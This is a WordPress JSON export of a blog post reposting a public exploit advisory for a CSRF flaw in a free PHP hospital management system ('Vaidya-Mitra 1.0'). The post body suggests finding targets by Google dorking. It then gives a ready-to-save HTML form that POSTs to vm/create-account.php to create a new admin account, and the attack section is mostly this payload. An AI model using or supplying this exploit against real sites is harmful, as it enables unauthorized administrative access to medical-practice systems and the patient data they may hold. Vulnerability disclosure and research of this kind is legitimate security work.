{"id":59400,"date":"2024-09-02T21:30:11","date_gmt":"2024-09-02T18:30:11","guid":{"rendered":"https:\/\/packetstormsecurity.com\/files\/181229\/fhms10-xsrf.txt"},"modified":"2024-09-02T21:30:11","modified_gmt":"2024-09-02T18:30:11","slug":"free-hospital-management-system-for-small-practices-1-0-csrf","status":"publish","type":"post","link":"https:\/\/afaghhosting.net\/blog\/free-hospital-management-system-for-small-practices-1-0-csrf\/","title":{"rendered":"Free Hospital Management System For Small Practices 1.0 CSRF"},"content":{"rendered":"<p>=============================================================================================================================================<br \/>| # Title : Vaidya-Mitra v 1.0 CSRF Vulnerability<br \/>|<br \/>| # Author : indoushka<br \/>|<br \/>| # Tested on : windows 10 Fr(Pro) \/ browser : Mozilla firefox 125.0.1<br \/>(64 bits) |<br \/>| # Vendor :<br \/>https:\/\/www.sourcecodester.com\/php\/16720\/free-hospital-management-system-small-practices.html<br \/>|<\/p>\n<p>=============================================================================================================================================<\/p>\n<p>poc :<\/p>\n[+] Dorking \u0130n Google Or Other Search Enggine.<\/p>\n[+] The following HTML code add new admin.<\/p>\n[+] Go to the line 9. Set the target site link Save changes and apply .<\/p>\n[+] infected file : vm\/create-account.php.<\/p>\n[+] save code as poc.html<\/p>\n[+] payload :<\/p>\n<p>&lt;!DOCTYPE html&gt;<br \/>&lt;html lang=&#8221;en&#8221;&gt;<br \/>&lt;head&gt;<br \/>&lt;meta charset=&#8221;UTF-8&#8243;&gt;<br \/>&lt;meta name=&#8221;viewport&#8221; content=&#8221;width=device-width,<br \/>initial-scale=1.0&#8243;&gt;<br \/>&lt;title&gt;Create Account&lt;\/title&gt;<br \/>&lt;\/head&gt;<br \/>&lt;body&gt;<br \/>&lt;form action=&#8221;http:\/\/127.0.0.1\/vm\/create-account.php&#8221; method=&#8221;POST&#8221;&gt;<br \/>&lt;label for=&#8221;newemail&#8221;&gt;Email:&lt;\/label&gt;<br \/>&lt;input type=&#8221;email&#8221; id=&#8221;newemail&#8221; name=&#8221;newemail&#8221; required&gt;<br \/>&lt;br&gt;<\/p>\n<p>&lt;label for=&#8221;tele&#8221;&gt;Telephone:&lt;\/label&gt;<br \/>&lt;input type=&#8221;text&#8221; id=&#8221;tele&#8221; name=&#8221;tele&#8221; required&gt;<br \/>&lt;br&gt;<\/p>\n<p>&lt;label for=&#8221;newpassword&#8221;&gt;Password:&lt;\/label&gt;<br \/>&lt;input type=&#8221;password&#8221; id=&#8221;newpassword&#8221; name=&#8221;newpassword&#8221;<br \/>required&gt;<br \/>&lt;br&gt;<\/p>\n<p>&lt;label for=&#8221;cpassword&#8221;&gt;Confirm Password:&lt;\/label&gt;<br \/>&lt;input type=&#8221;password&#8221; id=&#8221;cpassword&#8221; name=&#8221;cpassword&#8221; required&gt;<br \/>&lt;br&gt;<\/p>\n<p>&lt;button type=&#8221;submit&#8221;&gt;Create Account&lt;\/button&gt;<br \/>&lt;\/form&gt;<br \/>&lt;\/body&gt;<br \/>&lt;\/html&gt;<\/p>\n<p>Greetings to<br \/>:============================================================<br \/>jericho * Larry W. Cashdollar * LiquidWorm * Hussin-X * D4NB4R * CraCkEr<br \/>|<\/p>\n<p>==========================================================================<\/p>\n","protected":false},"excerpt":{"rendered":"<p>=============================================================================================================================================| # Title : Vaidya-Mitra v 1.0 CSRF Vulnerability|| # Author : indoushka|| # Tested on : windows 10 Fr(Pro) \/ browser : Mozilla firefox 125.0.1(64 bits) || # Vendor :https:\/\/www.sourcecodester.com\/php\/16720\/free-hospital-management-system-small-practices.html| ============================================================================================================================================= poc : [+] Dorking \u0130n Google Or Other Search Enggine. [+] The following HTML code add new admin. [+] Go to the line &hellip;<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"closed","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[26],"tags":[],"class_list":["post-59400","post","type-post","status-publish","format-standard","hentry","category-vulnerability"],"_links":{"self":[{"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/posts\/59400","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/comments?post=59400"}],"version-history":[{"count":0,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/posts\/59400\/revisions"}],"wp:attachment":[{"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/media?parent=59400"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/categories?post=59400"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/tags?post=59400"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}